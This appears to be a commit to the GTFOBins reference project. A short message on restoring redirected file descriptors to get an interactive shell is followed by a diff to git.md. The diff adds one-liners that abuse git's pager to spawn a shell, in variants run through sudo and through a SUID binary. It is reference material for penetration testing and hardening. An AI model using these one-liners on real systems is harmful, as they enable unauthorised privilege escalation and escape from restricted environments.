Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

_gtfobins/git.md

@@ -1,15 +1,9 @@
 ---
 functions:
-  execute-non-interactive:
-    - code: |
-        export PAGER=/usr/bin/id
-        git -p help
+  execute-interactive:
+    - code: PAGER='sh -c "exec sh 0<&1"' git -p help
   sudo-enabled:
-    - code: |
-        export PAGER=/usr/bin/id
-        sudo -E git -p help
+    - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
   suid-limited:
-    - code: |
-        export PAGER=/usr/bin/id
-        ./git -p help
+    - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
 ---